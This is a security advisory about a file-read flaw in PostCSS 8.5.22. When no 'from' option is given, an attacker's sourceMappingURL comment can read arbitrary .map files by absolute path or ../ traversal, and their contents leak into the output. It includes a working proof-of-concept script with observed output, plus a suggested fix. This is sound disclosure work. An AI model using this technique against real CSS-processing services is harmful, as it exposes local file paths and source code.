Summary

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)

// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy

Proof of concept (verified on postcss 8.5.22)

const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.

Impact

Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.

Suggested fix

Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.

References

• GHSA-fxqj-rqcc-2cmp
• postcss/postcss@7beca13
• https://github.com/postcss/postcss/releases/tag/8.5.19